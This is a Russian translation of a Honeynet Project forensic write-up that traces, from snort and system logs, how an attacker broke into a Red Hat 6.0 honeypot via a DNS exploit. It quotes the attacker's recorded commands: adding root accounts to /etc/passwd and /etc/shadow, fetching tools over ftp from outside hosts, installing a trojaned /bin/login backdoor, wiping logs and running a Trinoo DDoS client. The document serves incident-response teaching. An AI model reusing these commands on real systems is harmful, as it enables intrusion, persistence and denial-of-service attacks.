©
Проект Honeynet
http://project.honeynet.org
Последние изменения: 23 мая 2000
©
Мяснянкин В.В., перевод на русский язык
12 апреля 2001
Данный документ продолжает серию "Узнай своего врага". Первые три документа охватывали средства и тактику, используемые сообществом черных шляп. Этот документ, четвертый по счету, показывает шаг за шагом, каким образом осуществлена одна из успешных атак. Однако, вместо того, чтобы углубляться в изучение инструментальных средств и тактики, мы остановимся подробнее на том, каким образом мы можем установить, как все происходило, создав целостную картину из кусочков информации. Цель состоит в том, чтобы приобрести необходимые навыки расследования инцидентов и анализа угроз, с которыми реально можете столкнуться Вы или Ваша организация. Существует также онлайновая, интерактивная версия этого документа, опубликованная MSNBC.
Обсуждаемая здесь информация получена с использованием honeynet. В качестве honeypot был использован сервер со стандартной инсталляцией Red Hat 6.0. Никаких дополнительных модификаций не производилось, поэтому обсуждаемые здесь уязвимости будут присутствовать в любой установке RH 6.0, выполненной по умолчанию. Приведенные здесь данные не подвергались никакой "подчистке". Все IP-адреса, учетные записи пользователей и нажатия клавишей, упоминаемые здесь, реальны. Это сделано как для обеспечения правдоподобности данных, так и для лучшего понимания процесса расследования. Изменены только пароли - чтобы не подвергать риску скомпрометированные системы. Вся перехваченная сниффером информация представлена в формате snort. Я остановил свой выбор на snort в качестве сниффера и системы обнаружения атак из-за его гибкости, набора функциональных возможностей и ценового показателя (он распространяется свободно). Все действия, производимые черными шляпами, были зафиксированы при помощи snort. Я использовал сигнатуры атак из базы данных arachNIDs, поддерживаемой Max Vision (www.whitehats.com). Более полную информацию об обсуждаемых в данной статье уязвимостях Вы можете получить, обратившись к указанной базе данных. Мой файл конфигурации для snort и файлы сигнатур (с параметрами командной строки, которые я использовал), можно найти здесь. После прочтения этого документа, Вы можете попробовать провести такой же анализ самостоятельно, поскольку я предоставляю Вам доступ ко всем необработанным данным. Читая данный документ, обратите внимание, сколько различных систем использовано черной шляпой. Также, на протяжении всего документа я называю черную шляпу "она", хотя мы не имеем каких-либо предположений относительно пола нарушителя.
26 апреля, в 06:43 snort предупредил меня, что против одной из моих систем предпринята попытка атаки "noop". В пакетах не было никакой полезной информации, что указывало на попытку организации переполнения буфера. В данной ситуации snort обнаружил атаку и сделал предупреждающую запись в файле /var/log/messages (который постоянно контролировался при помощи swatch). Примечание: далее в этом документе IP-адрес 172.16.1.107 является адресом honeypot. Все другие системы - IP-адреса, использованные черной шляпой.
Apr 26 06:43:05 lisa snort[6283]: IDS181/nops-x86: 63.226.81.13:1351 - 172.16.1.107:53
Мои приманки (honeypots) подвергаются изучению, сканированию и посылке запросов ежедневно. Однако, подобные предупреждения сразу же привлекают мое внимание, поскольку указывают, что система, возможно, была скомпрометирована. И действительно, менее чем через две минуты содержимое системных журналов говорило о компрометации, так как атакующий инициировал соединение и вошел в систему.
Apr 26 06:44:25 victim7 PAM_pwdb[12509]: (login) session opened for user twin by (uid=0)
Apr 26 06:44:36 victim7 PAM_pwdb[12521]: (su) session opened for user hantu by twin(uid=506)
Наш нарушитель получил доступ с правами суперпользователя и теперь контролировал систему. Как это ему удалось, что именно произошло? Вот теперь мы и начинаем наше следствие, в ходе которого "прокрутим" всю пьесу, шаг за шагом.
При изучении атаки, лучшее всего начать с того же места, что и черная шляпа. А черные шляпы обычно начинают со сбора информации, они должны знать, какие существуют уязвимости, перед тем, как нанести удар. Если Ваша система скомпрометирована, значит, это уже не первое общение черной шляпы с ней. При осуществлении большинства атак используется предварительно собранная информация. Итак, начнем, как и черные шляпы, со стадии сбора информации.
Если мы посмотрим на приведенное выше сообщение snort, то заметим, что атака направлена на порт 53. Это говорит о том, что против нашей системы предпринята атака на DNS. Поэтому представляется логичным просмотреть сообщения snort и попытаться найти признаки изучения DNS. Мы находим информацию о запросе версии DNS, полученном от той же самой системы, которая нас атаковала.
Apr 25 02:08:07 lisa snort[5875]: IDS277/DNS-version-query: 63.226.81.13:4499 - 172.16.1.107:53
Apr 25 02:08:07 lisa snort[5875]: IDS277/DNS-version-query: 63.226.81.13:4630 - 172.16.1.101:53
Обратите внимание на дату запроса - 25 апреля. Наша система была атакована 26 апреля, из того же источника. Т.е. компрометация произошла через сутки после изучения. Я предполагаю, что наша черная шляпа применила специализированный сканер, который автоматически сканировал большое количество адресов с целью поиска известной уязвимости DNS. После того, как сканирование было закончено, черная шляпа просмотрела результаты, идентифицировала уязвимые системы (включая нашу) и затем запустила эксплоит. Вот мы и сыграли вместе первый акт нашей драмы. Наша черная шляпа сканировала нас 25 апреля и воспользовалась уязвимостью системы на следующий день. Судя по записям системы обнаружения атак, нас атаковал script kiddie, использовав известную уязвимость DNS. Но каким образом атака была выполнена, как это работает? Давайте попробуем разобраться.
Как и большинство коммерческих систем обнаружения вторжений snort может показать нам данные, содержащиеся во всех IP-пакетах. Мы воспользуемся этой возможностью, чтобы провести анализ эксплоита. Информация об эксплоите была получена из регистрационных журналов, хранящихся в бинарном формате tcpdump. Я взял регистрационный журнал snort и стал просматривать пакеты, поступавшие в начале атаки. Я не стал ограничиваться адресом 63.236.81.13, поскольку нападавший мог использовать и другие адреса. Так и оказалось - наша черная шляпа использовала для запуска эксплоита как минимум три различных системы. Цель эксплоита - получить доступ к командной строке (shell) с правами пользователя root. Как только черная шляпа получит такой доступ, она сможет выполнять любую команду с правами администратора. Обычно для этого в файлы /etc/passwd и /etc/shadow помещается дополнительная учетная запись. Вы можете найти как сам эксплоит, так и выполненные им команды в файле с детальным анализом. Так как запуск эксплоита прошел успешно, административные права получены, то последующие команды также выполнялись с привилегиями root.
cd /; uname -a; pwd; id;
Linux apollo.uicmba.edu 2.2.5-15 #1 Mon Apr 19 22:21:09 EDT 1999 i586 unknown
/
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
echo "twin::506:506::/home/twin:/bin/bash" /etc/passwd
echo "twin:w3nT2H0b6AjM2:::::::" /etc/shadow
echo "hantu::0:0::/:/bin/bash" /etc/passwd
echo "hantu:w3nT2H0b6AjM2:::::::" /etc/shadow
Наша черная шляпа выполнила несколько команд с правами администратора. Сначала она проверила, в какой системе находится (uname -a), в каком каталоге (pwd), и, затем свой uid (id). После этого она завела в системе двух новых пользователей - twin и hantu, обоих с одним и тем же паролем. Заметьте, что twin имеет UID 506, а hantu имеет UID 0 (кстати, в Индонезии hantu означает "призрак"). Большинство систем не позволяет непосредственный вход по протоколу telnet пользователю с UID 0. Поэтому черная шляпа была вынуждена завести одну учетную запись для осуществления удаленного доступа и вторую для получения привилегий администратора (UID 0). Итак, наша черная шляпа выполнила эксплоит, получила доступ к командной оболочке с правами root и зарегистрировала две новых учетных записи. Всего через 90 секунд после запуска эксплоита она уже вошла по протоколу telnet в нашу систему и получила административный контроль над ней (см. фрагменты журналов регистрации ниже). Итак, что же она будет делать дальше?
Apr 26 06:43:05 lisa snort[6283]:IDS181/nops-x86: 63.226.81.13:1351 - 172.16.1.107:53
Apr 26 06:44:25 victim7 PAM_pwdb[12509]: (login) session opened for user twin by (uid=0)
Apr 26 06:44:36 victim7 PAM_pwdb[12521]: (su) session opened for user hantu by twin(uid=506)
К нашему счастью, telnet является простым текстовым протоколом, передаваемые при помощи него данные не шифруются. Это означает, что мы можем декодировать все записи сниффера и увидеть все вводимые черной шляпой команды. Snort уже выполнил эту работу за нас (это другая причина, по которой я его выбрал). Анализируя введенные во время telnet-сессии команды, мы можем точно определить, чем занималась наша черная шляпа. Я нахожу особенно приятным, что при этом записывается не только поток STDIN (нажатия клавишей), но также и потоки STDOUT и STDERR (вывод программ и сообщения об ошибках). Давайте изучим записанную telnet-сессию и идентифицируем действия черной шляпы (комментарии выделены КРАСНЫМ).
Сначала черная шляпа вошла в систему по протоколу telnet (с адреса 213.28.22.189) как twin, затем получила права суперпользователя как hantu. Помните, она не могла сразу войти в систему как hantu, поскольку удаленный доступ с UID 0 запрещен.
#' !"'!"# ' 9600,9600'VT5444VT5444
Red Hat Linux release 6.0 (Shedwig)
Kernel 2.2.5-15 on an i586
login: twin
Password: Password: hax0r
No directory /home/twin!
Logging in with home = "/".
[twin@apollo /]$ su hantu
Password: Password: hax0r
Затем, она соединилась по протоколу ftp с другим компьютером, чтобы загрузить оттуда необходимые ей программы.
[root@apollo /]# ftp 24.112.167.35
Connected to 24.112.167.35.
220 linux FTP server (Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999) ready.
Name (24.112.167.35:twin): welek
331 Password required for welek.
Password:password
230 User welek logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp get bj.c
local: bj.c remote: bj.c
200 PORT command successful.
150 Opening BINARY mode data connection for bj.c (1010 bytes).
226 Transfer complete.
1010 bytes received in 0.115 secs (8.6 Kbytes/sec)
ftp quit
221-You have transferred 1010 bytes in 1 files.
221-Total traffic for this session was 1421 bytes in 1 transfers.
221-Thank you for using the FTP service on linux.
221 Goodbye.
На третьем шаге, она берет программу, необходимую для установки черного входа (bj.c), компилирует ее и помещает вместо стандартного /sbin/login. Обратите внимание, что все команды помещены в одну строку с вызовом компилятора. Похоже, что они выполнялись путем копирования текста из какого-то описания через буфер обмена.
[root@apollo /]# gcc -o login bj.cchown root:bin loginchmod 4555 loginchmod u-w logincp /bin/login /usr/bin/xstatcp /bin/login /usr/bin/old rm /bin/loginchmod 555 /usr/bin/xstatchgrp bin /usr/bin/xstatmv login /bin/loginrm bj.cgcc -o login bj.c
bj.c:16: unterminated string or character constant
bj.c:12: possible real start of unterminated constant
Теперь она пытается сделать необходимые настройки для вновь установленной программы.
[root@apollo /]# chown root:bin login
chown: login: No such file or directory
root@apollo /]# chmod 4555 login
chmod: login: No such file or directory
root@apollo /]# chmod u-w login
chmod: login: No such file or directory
root@apollo /]# cp /bin/login /usr/bin/xstat
root@apollo /]# cp /bin/login /usr/bin/old
root@apollo /]# rm /bin/login
root@apollo /]# chmod 555 /usr/bin/xstat
root@apollo /]# chgrp bin /usr/bin/xstat
root@apollo /]# mv login /bin/login
mv: login: No such file or directory
root@apollo /]# rm bj.c
Черт! У нее не получается, она пытается снова. Для этого она повторно загружает исходный текст программы по ftp.
[root@apollo /]# ftp 24.112.167.35
Connected to 24.112.167.35.
220 linux FTP server (Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999) ready.
Name (24.112.167.35:twin): [root@apollo /]# ftp 24.112.167.35
Connected to 24.112.167.35.
220 linux FTP server (Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999) ready.
Name (24.112.167.35:twin): welek
331 Password required for welek.
Password:331 Password required for welek.
Password:password
230 User welek logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp get bj.c
qulocal: bj.c remote: bj.c
200 PORT command successful.
u150 Opening BINARY mode data connection for bj.c (1011 bytes).
226 Transfer complete.
1011 bytes received in 0.134 secs (7.3 Kbytes/sec)
ftp itit
221-You have transferred 1011 bytes in 1 files.
221-Total traffic for this session was 1422 bytes in 1 transfers.
221-Thank you for using the FTP service on linux.
221 Goodbye.
Это уже вторая ее попытка установки. Обратите, что команды снова выполняются (точнее, вставляются) методом "cut and paste".
[root@apollo /]# gcc -o login bj.cchown root:bin loginchmod 4555 loginchmod u-w logincp /bin/login /usr/bin/xstatcp /bin/login /usr/bin/old rm /bin/loginchmod 555 /usr/bin/xstatchgrp bin /usr/bin/xstatmv login /bin/login rm bj.cgcc -o login bj.c
bj.c: In function `owned':
bj.c:16: warning: assignment makes pointer from integer without a cast
Теперь мы видим, что компиляция черного входа прошла успешно. Настоящий /bin/login переименовывается в /usr/bin/xstat, в то время как откомпилированный троянский bj.c используется для замены /bin/login. Это и есть черный вход. Данная троянская программа позволяет любому войти в систему без авторизации, если установлен тип терминала vt9111.
[root@apollo /]# chown root:bin login
root@apollo /]# chmod 4555 login
root@apollo /]# chmod u-w login
root@apollo /]# cp /bin/login /usr/bin/xstat
cp: /bin/login: No such file or directory
root@apollo /]# cp /bin/login /usr/bin/old
cp: /bin/login: No such file or directory
root@apollo /]# rm /bin/login
rm: cannot remove `/bin/login': No such file or directory
root@apollo /]# chmod 555 /usr/bin/xstat
root@apollo /]# chgrp bin /usr/bin/xstat
root@apollo /]# mv login /bin/login
Теперь она пытается замести следы. Я снова делаю вывод, что эти команды вставляются из какого-то текста через буфер обмена. Обратите внимание на количество команд, записываемых в одной строке. Судя по попыткам стереть несуществующие файлы (типа /tmp/h), можно предположить, что используется один из "универсальных" сценариев для затирания следов.
[root@apollo /]# rm bj.c
[root@apollo /]# [root@apollo /]# ps -aux | grep inetd ; ps -aux | grep portmap ; rm /sbin/portmap ; rm /tmp/h ; rm /usr/sbin/rpc.portmap ; rm -rf .bash* ; rm -rf /root/.bash_history ; rm -rf /usr/sbin/namedps -aux | grep inetd ; ps -aux | grep portmap ; rm /sbin/por<grep inetd ; ps -aux | grep portmap ; rm /sbin/port map ; rm /tmp/h ; rm /usr<p portmap ; rm /sbin/portmap ; rm /tmp/h ; rm /usr/ sbin/rpc.portmap ; rm -rf<ap ; rm /tmp/h ; rm /usr/sbin/rpc.portmap ; rm -rf .bash* ; rm -rf /root/.ba<bin/rpc.portmap ; rm -rf .bash* ; rm -rf /root/.bas h_history ; rm -rf /usr/s<bash* ; rm -rf /root/.bash_history ; rm -rf /usr/sb in/named
359 ? 00:00:00 inetd
359 ? 00:00:00 inetd
rm: cannot remove `/tmp/h': No such file or directory
rm: cannot remove `/usr/sbin/rpc.portmap': No such file or directory
[root@apollo /]# ps -aux | grep portmap
[root@apollo /]# [root@apollo /]# ps -aux | grep inetd ; ps -aux | grep portmap ; rm /sbin/portmap ; rm /tmp/h ; rm /usr/sbin/rpc.portmap ; rm -rf .bash* ; rm -rf /root/.bash_history ; rm -rf /usr/sbin/namedps -aux | grep inetd ; ps -aux | grep portmap ; rm /sbin/por<grep inetd ; ps -aux | grep portmap ; rm /sbin/port map ; rm /tmp/h ; rm /usr<p portmap ; rm /sbin/portmap ; rm /tmp/h ; rm /usr/ sbin/rpc.portmap ; rm -rf<ap ; rm /tmp/h ; rm /usr/sbin/rpc.portmap ; rm -rf .bash* ; rm -rf /root/.ba<bin/rpc.portmap ; rm -rf .bash* ; rm -rf /root/.bas h_history ; rm -rf /usr/s<bash* ; rm -rf /root/.bash_history ; rm -rf /usr/sb in/named
359 ? 00:00:00 inetd
rm: cannot remove `/sbin/portmap': No such file or directory
rm: cannot remove `/tmp/h': No such file or directory
rm: cannot remove `/usr/sbin/rpc.portmap': No such file or directory
[root@apollo /]# rm: cannot remove `/sbin/portmap': No such file or directory
Мне нравится логика ее действий. Универсальный сценарий выдал серию ошибок, сигнализирующих о невозможности удалить несуществующие файлы. Я думаю, что нашу черную шляпу это сильно обеспокоило, и она попыталась вручную удалить эти файлы, несмотря на то, что они не существуют.
rm: cannot remove `/tmp/h': No such file or directory
rm: cannot remove `/usr/sbin/rpc.portmap': No such file or directory
root@apollo /]# rm: cannot remove `/sbin/portmap': No such file or directory
rm: cannot remove `/tmp/h': No such file or directory
rm: cannot remove `/usr/sbin/rpc.portmap': No such file or directory
root@apollo /]# exit
exit
twin@apollo /]$ exit
logout
Вот и все, наша черная шляпа оставила для себя лазейку, bj.c. Эта лазейка позволяет входить в систему без авторизации пользователям с определенным типом терминала, в данном случае - VT9111. Закончив свое черное дело, она выходит из системы.
После выхода из системы, черная шляпа еще несколько раз подключалась к ней и вносила изменения. Если Вы хотите узнать о ее действиях подробнее, Вы можете самостоятельно проанализировать необработанные регистрационные данные.
После того, как система была скомпрометирована, я отключил ее от Интернет и провел ее полную ревизию (как это делает Tripwire). Однако в течение следующей недели я заметил многочисленные попытки войти в нее по протоколу telnet с разных адресов. Очевидно, черная шляпа, очень хотела попасть обратно, чтобы использовать скомпрометированную систему для более серьезных действий. Я решил вернуть скомпрометированную систему обратно, чтобы посмотреть, чем же будет заниматься черная шляпа, когда вернется. Ожидания оправдались, она появилась двумя неделями позже. И снова мы записывали все вводимые ей команды при помощи snort. Проанализируем приведенную ниже telnet-сессию и посмотрим на попытку использования нашей системы в качестве клиента Trinoo
9 мая в 10:45 наша черная шляпа вошла по протоколу telnet с адреса 24.7.85.192. Обратите внимание, что она использует тип терминала VT9111, чтобы воспользоваться черным входом и войти в систему, минуя аутентификацию.
!"' #'!"# ' 9600,9600'VT9111VT9111 Red Hat Linux release 6.0 (Shedwig) Kernel 2.2.5-15 on an i586 [root@apollo /]# ls bin cdrom etc home lost+found proc sbin usr boot dev floppy lib mnt root tmp var
Оказавшись в системе, она пытается воспользоваться DNS. Однако, DNS все еще неработоспособна. Вспомните, для получения доступа к системе с правами root была использована уязвимость DNS, поэтому преобразование доменных имен больше не работает.
[root@apollo /]# nslookup magix
[root@apollo /]# nslookup irc.powersurf.com
Server: zeus-internal.uicmba.edu
Address: 172.16.1.101
Черная шляпа заходит по протоколу ftp на сервер в Сингапуре и загружает с него новый набор программ. Обратите внимание, что она создает скрытый каталог .s для его хранения.
[root@apollo /]# mkdir .s
root@apollo /]# cd .s
root@apollo /.s]# ftp nusnet-216-35.dynip.nus.edu.sg
ftp: nusnet-216-35.dynip.nus.edu.sg: Unknown host
ftp qquituit
root@apollo /.s]# ftpr 137.132.216.35
login: ftrp: command not found
root@apollo /.s]#
root@apollo /.s]# ftp 137.132.216.35
Connected to 137.132.216.35.
220 nusnet-216-35.dynip.nus.edu.sg FTP server (Version wu-2.4.2-VR17(1) Mon Apr 19 09:21:53 EDT 1999) ready.
При этом она получает доступ с тем же самым именем пользователя, которое добавлено в нашу систему.
Name (137.132.216.35:root): twin
331 Password required for twin.
Password:hax0r
230 User twin logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp get d.tar.gz
local: d.tar.gz remote: d.tar.gz
200 PORT command successful.
150 Opening BINARY mode data connection for d.tar.gz (8323 bytes).
150 Opening BINARY mode data connection for d.tar.gz (8323 bytes).
226 Transfer complete.
8323 bytes received in 1.36 secs (6 Kbytes/sec)
ftp quit
221-You have transferred 8323 bytes in 1 files.
221-Total traffic for this session was 8770 bytes in 1 transfers.
221-Thank you for using the FTP service on nusnet-216-35.dynip.nus.edu.sg.
221 Goodbye.
[root@apollo /.s]# gunzip d*
[root@apollo /.s]# tar -xvf d*
daemon/
daemon/ns.c
daemon/ns
[root@apollo /.s]# rm -rf d.tar
root@apollo /.s]# cd daemon
[root@apollo daemon]# chmod u+u+x nsx ns
root@apollo daemon]# ./ns
Наша черная шляпа только что установила и запустила клиента Trinoo. Затем она пытается зайти в другую скомпрометированную систему. Обратите внимание, как она меняет значение переменной VT TERM. Эта система, скорее всего, также имеет черный вход. Однако, подключение не удается, т.к. DNS не работает.
[root@apollo daemon]# TERM=vt1711
[root@apollo daemon]# telnet macau.hkg.com
macau.hkg.com: Unknown host
root@apollo daemon]# exit
exit
Она уходит, чтобы вернуться позже с другого адреса (137.132.216.35) и продолжить свои попытки.
!"' #'!"# ' 9600,9600'VT9111VT9111
Red Hat Linux release 6.0 (Shedwig)
Kernel 2.2.5-15 on an i586
[apollo /]# TERM=vt9111
telnet ns2.cpcc.cc.nc.us
ns2.cpcc.cc.nc.us: Unknown host
apollo /}#telnet 1 152.43.29.52
Trying 152.43.29.52...
Connected to 152.43.29.52.
Escape character is '^]'.
Connection closed by foreign host.
[root@apollo /]# TERM=vt7877
[root@apollo /]# telnet sparky.w
[root@apollo /]# exit
exit
После этого было еще несколько попыток использовать систему в качестве клиента Trinoo для атаки на другие системы. С этого момента я счел за лучшее отключить систему от Интернет. Черная шляпа намеревалась использовать скомпрометированную систему в деструктивных целях, что подтверждают записи регистрационных журналов.
May 9 11:03:20 lisa snort[2370]: IDS/197/trin00-master-to-daemon: 137.132.17.202:2984 - 172.16.1.107:27444
May 9 11:03:20 lisa snort[2370]: IDS187/trin00-daemon-to-master-pong: 172.16.1.107:1025 - 137.132.17.202:31335
May 9 11:26:04 lisa snort[2370]: IDS197/trin00-master-to-daemon: 137.132.17.202:2988 - 172.16.1.107:27444
May 9 11:26:04 lisa snort[2370]: IDS187/trin00-daemon-to-master-pong: 172.16.1.107:1027 - 137.132.17.202:31335
May 9 20:48:14 lisa snort[2370]: IDS197/trin00-master-to-daemon: 137.132.17.202:3076 - 172.16.1.107:27444
May 9 20:48:14 lisa snort[2370]: IDS187/trin00-daemon-to-master-pong: 172.16.1.107:1028 - 137.132.17.202:31335
Мы только что восстановили по шагам, каким образом honeypot был скомпрометирован, снабжен черным входом и почти использован для осуществления атаки Trinoo. 25 апреля черная шляпа просканировала honeypot, для определения установленной на нем версии DNS. На следующий день, 26 апреля, она выполнила эксплоит под названием NXT, чтобы получить доступ к командной оболочке с правами пользователя root (см. NXT-HOWTO с описанием использования эксплоита). После получения прав администратора она создала в системе две учетные записи - twin и hantu. Сразу после этого, она вошла в систему по протоколу telnet загрузила и установила черный вход bj.c. Далее, она выполнила заметающий следы скрипт и покинула систему. В течение следующей недели она предприняла серию попыток вновь войти в систему, однако последняя была недоступна. Наконец, 9 мая она получила доступ, установила и запустила клиентскую часть Trinoo. С этого момента honeypot был отключен от Интернет окончательно. Большая часть расследования проводилась с использованием системных журналов скомпрометированной системы и регистрационных журналов snort. Несколько человек предоставили дополнительный анализ этой атаки.
Мы только что восстановили по шагам, каким образом honeypot был скомпрометирован. Цель состояла в том, чтобы определить, каким образом система была скомпрометирована, используя анализ системных журналов honeypot и системы обнаружения атак. На примере анализа данной атаки, Вы должны улучшить свое понимание, чего можно ожидать и что в первую очередь необходимо проанализировать при атаке на систему. Если Вы хотите подробнее узнать об использованных для получения этой информации средствах, ознакомьтесь с документом Honeynets
Я хотел бы поблагодарить Marty Roesch и Max Vision за содействие. Все, что я узнал и изложил в этом документе, было бы невозможно без их кропотливого труда. Все файлы регистрации и информация были отправлены в адрес CERT до публикации этого документа. Кроме того, были предприняты попытки установить контакт с администраторами всех систем, имевших отношение к данной атаке.